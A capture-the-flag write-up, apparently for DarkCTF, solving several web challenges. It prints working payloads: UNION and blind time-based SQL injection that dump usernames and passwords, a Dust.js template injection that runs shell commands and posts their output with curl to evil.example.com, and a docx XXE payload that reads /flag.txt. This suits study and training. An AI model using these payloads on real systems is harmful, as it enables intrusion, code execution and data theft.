https://ctftime.org/event/1118
The following is suspicious because the payload is long and it contains union+all+select
.
192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
decodeURI↓
http://192.168.32.134/mutillidae/index.php?page=user-info.php&username='+union+all+select+1,String.fromCharCode(102,+108,+97,+103,+32,+105,+115,+32,+68,+97,+114,+107,+67,+84,+70,+123,+53,+113,+108,+95,+49,+110,+106,+51,+99,+116,+49,+48,+110,+125),3+--+&password=&user-info-php-submit-button=View+Account+Details
$ python -c 'print("".join(list(map(chr, [102,108,97,103,32,105,115,32,68,97,114,107,67,84,70,123,53,113,108,95,49,110,106,51,99,116,49,48,110,125]))))'
flag is DarkCTF{5ql_1nj3ct10n}
Flag: DarkCTF{5ql_1nj3ct10n}
SQL Injection.
location = "http://simplesql.darkarmy.xyz/?id=" + encodeURIComponent('1" = "1" AND False UNION SELECT "xxx", GROUP_CONCAT(table_name), "xxx" FROM information_schema.columns WHERE column_name = "username" #')
Username : servers,uagents,users Password : xxx
It shows that the target table name is either servers
, uagents
, or users
.
location = "http://simplesql.darkarmy.xyz/?id=" + encodeURIComponent('1" = "1" AND False UNION SELECT "xxx", GROUP_CONCAT(username), GROUP_CONCAT(password) FROM users #')
Username : LOL,Try,fake,its secure,not,dont read,try to think ,admin,flag Password : Try ,another,p@ssword,dont try to hack,easy,my database,new,password,darkCTF{it_is_very_easy_to_find}
Flag: darkCTF{it_is_very_easy_to_find}
SQL Injection.
location = "http://sosimple.darkarmy.xyz/?id=" + encodeURIComponent("1'")
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
It shows that we can do SQLi and it is useful to use LIMIT
.
location = "http://sosimple.darkarmy.xyz/?id=" + encodeURIComponent("aaa' OR 1=1 LIMIT 1,1#")
Your Login name:Try Your Password:another
location = "http://sosimple.darkarmy.xyz/?id=" + encodeURIComponent("aaa' OR 1=1 LIMIT 2,1#")
Your Login name:fake Your Password:p@ssword
...
location = "http://sosimple.darkarmy.xyz/?id=" + encodeURIComponent("aaa' OR 1=1 LIMIT 8,1#")
Your Login name:flag Your Password:darkCTF{uniqu3_ide4_t0_find_fl4g}
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
flag format darkCTF{databasename}
$ http --form POST http://agent.darkarmy.xyz/ uname="admin" passwd="admin"
Then, user-agent was displayed in the web page.
$ http --form POST http://agent.darkarmy.xyz/ uname="admin" passwd="admin" submit="Submit" "User-Agent:aaa'xxx"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'xxx', '{IP ADDRESS}', 'admin')' at line 1
It shows we can do SQLi.
$ http -v --form POST http://agent.darkarmy.xyz/ uname="admin" passwd="admin" submit="Submit" "User-Agent:aaa') #"
Column count doesn't match value count at row 1
Error occurred.
$ http -v --form POST http://agent.darkarmy.xyz/ uname="admin" passwd="admin" submit="Submit" "User-Agent:aaa', 'aaa', 'aaa') # "
No error. Then, I understood that the SQL statement is an insert statement.
Ok, I wrote a script exploit-agent-u.py
to identify the database name.
I used time-based SQL injection with IF(database() LIKE '{prefix}%', sleep(3), 0)
.
$ python exploit-agent-u.py
a
ag
ag3
ag3n
ag3nt
ag3nt_
ag3nt_u
ag3nt_u_
ag3nt_u_1
ag3nt_u_1s
ag3nt_u_1s_
ag3nt_u_1s_v
ag3nt_u_1s_v3
ag3nt_u_1s_v3r
ag3nt_u_1s_v3ry
ag3nt_u_1s_v3ry_
ag3nt_u_1s_v3ry_t
ag3nt_u_1s_v3ry_t3
ag3nt_u_1s_v3ry_t3l
ag3nt_u_1s_v3ry_t3l3
ag3nt_u_1s_v3ry_t3l3n
ag3nt_u_1s_v3ry_t3l3nt
ag3nt_u_1s_v3ry_t3l3nt3
ag3nt_u_1s_v3ry_t3l3nt3d
result: ag3nt_u_1s_v3ry_t3l3nt3d
Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
I tried some queries as follows:
location = "http://dusty.darkarmy.xyz/addNotes?message[]=aaaa&message[]=bbb"
aaaa,bbb
location = "http://dusty.darkarmy.xyz/addNotes?message[xxx]=aaaa"
[object Object]
location = "http://dusty.darkarmy.xyz/addNotes?message[toString]=aaaa"
{"stack":"TypeError: Cannot convert object to primitive value\n at Tap.head (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:121:25)\n at Tap.go (/app/node_modules/dustjs-linkedin/lib/dust.js:812:19)\n at Chunk.write (/app/node_modules/dustjs-linkedin/lib/dust.js:556:19)\n at Chunk.reference (/app/node_modules/dustjs-linkedin/lib/dust.js:611:19)\n at body_4 (evalmachine.:1:1634)\n at Chunk.render (/app/node_modules/dustjs-linkedin/lib/dust.js:598:12)\n at Object.tap (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:123:8)\n at Object.if (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:213:27)\n at Chunk.helper (/app/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.:1:972)\n at Chunk.section (/app/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.:1:847)\n at /app/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Cannot convert object to primitive value"}
It shows that the server uses Dust.js.
I found the following article:
I tried this attack as follows:
location = "http://dusty.darkarmy.xyz/addNotes?message[]=" + encodeURIComponent("xxx' && require('child_process').exec('curl -X POST https://evil.example.com -d \"`ls -la .`\"') //")
total 108
drwxr-x--- 1 root ctf 4096 Sep 25 09:18 .
drwxr-xr-x 1 root root 4096 Sep 25 09:18 ..
-rwxr-x--- 1 root ctf 2752 Sep 25 08:35 app.js
drwxr-xr-x 186 root root 4096 Sep 25 09:18 node_modules
-rwxr-x--- 1 root ctf 79779 Sep 13 22:27 package-lock.json
-rwxr-x--- 1 root ctf 487 Sep 20 20:29 package.json
drwxr-x--- 1 root ctf 4096 Aug 31 22:18 public
drwxr-x--- 1 root ctf 4096 Sep 15 19:29 views
location = "http://dusty.darkarmy.xyz/addNotes?message[]=" + encodeURIComponent("xxx' && require('child_process').exec('curl -X POST https://evil.example.com -d \"`ls -la ..`\"') //")
total 80
drwxr-xr-x 1 root root 4096 Sep 25 09:18 .
drwxr-xr-x 1 root root 4096 Sep 25 09:18 ..
-rwxr-xr-x 1 root root 0 Sep 25 09:18 .dockerenv
drwxr-x--- 1 root ctf 4096 Sep 25 09:18 app
drwxr-xr-x 2 root root 4096 Sep 8 07:00 bin
drwxr-xr-x 2 root root 4096 Jul 10 21:04 boot
drwxr-xr-x 5 root root 340 Sep 25 09:18 dev
drwxr-xr-x 1 root root 4096 Sep 25 09:18 etc
-rwxr----- 1 root root 38 Sep 25 09:16 flag.txt
drwxr-xr-x 1 root root 4096 Sep 25 09:16 home
drwxr-xr-x 1 root root 4096 Sep 16 15:24 lib
drwxr-xr-x 2 root root 4096 Sep 8 07:00 lib64
drwxr-xr-x 2 root root 4096 Sep 8 07:00 media
drwxr-xr-x 2 root root 4096 Sep 8 07:00 mnt
drwxr-xr-x 1 root root 4096 Sep 16 15:24 opt
dr-xr-xr-x 134 root root 0 Sep 25 09:18 proc
drwx------ 1 root root 4096 Sep 25 09:18 root
drwxr-xr-x 3 root root 4096 Sep 8 07:00 run
drwxr-xr-x 2 root root 4096 Sep 8 07:00 sbin
drwxr-xr-x 2 root root 4096 Sep 8 07:00 srv
dr-xr-xr-x 13 root root 0 Sep 25 09:18 sys
drwxrwxrwt 1 root root 4096 Sep 25 09:05 tmp
drwxr-xr-x 1 root root 4096 Sep 8 07:00 usr
drwxr-xr-x 1 root root 4096 Sep 8 07:00 var
location = "http://dusty.darkarmy.xyz/addNotes?message[]=" + encodeURIComponent("xxx' && require('child_process').exec('curl -X POST https://evil.example.com -d \"`cat ../flag.txt`\"') //")
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
I created a docx file xxxxxxxxxxxxxx.docx
and uploaded it. Then, the following values were displayed:
- File Name : xxxxxxxxxxxxxx.docx
- Size : 12044
- Mimetype : application/vnd.openxmlformats-officedocument.wordprocessingml.document
- Number of pages : 1
This file can be extracted as a zip file because a docx file is a zip file.
$ unar xxxxxxxxxxxxxx.docx
xxxxxxxxxxxxxx.docx: Zip
[Content_Types].xml (1312 B)... OK.
_rels/.rels (590 B)... OK.
word/_rels/document.xml.rels (817 B)... OK.
word/document.xml (2817 B)... OK.
word/theme/theme1.xml (8407 B)... OK.
word/settings.xml (3134 B)... OK.
docProps/core.xml (751 B)... OK.
word/fontTable.xml (1460 B)... OK.
word/webSettings.xml (803 B)... OK.
word/styles.xml (29326 B)... OK.
docProps/app.xml (711 B)... OK.
Successfully extracted to "xxxxxxxxxxxxxx".
Now, docProps/app.xml
is:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>0</TotalTime><Pages>1</Pages><Words>2</Words><Characters>13</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>14</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>16.0000</AppVersion></Properties>
<Pages>1</Pages>
shows the number of pages is 1
.
Then, I modified this file as follows with XXE (I guessed the flag path):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag.txt"> ]>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>0</TotalTime><Pages>&ent;</Pages><Words>2</Words><Characters>13</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>14</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>16.0000</AppVersion></Properties>
Then I compressed these files as follows:
$ zip -r evil.docx *
adding: [Content_Types].xml (deflated 74%)
adding: _rels/ (stored 0%)
adding: _rels/.rels (deflated 61%)
adding: docProps/ (stored 0%)
adding: docProps/app.xml (deflated 46%)
adding: docProps/core.xml (deflated 52%)
adding: word/ (stored 0%)
adding: word/styles.xml (deflated 90%)
adding: word/webSettings.xml (deflated 62%)
adding: word/document.xml (deflated 74%)
adding: word/settings.xml (deflated 64%)
adding: word/_rels/ (stored 0%)
adding: word/_rels/document.xml.rels (deflated 71%)
adding: word/theme/ (stored 0%)
adding: word/theme/theme1.xml (deflated 80%)
adding: word/fontTable.xml (deflated 65%)
I uploaded evil.docx
, then the following values were displayed:
- File Name : evil.docx
- Size : 20977
- Mimetype : application/vnd.openxmlformats-officedocument.wordprocessingml.document
- Number of pages : darkCTF{1nj3ct1ng_d0cx_f0r_xx3}
Flag: darkCTF{1nj3ct1ng_d0cx_f0r_xx3}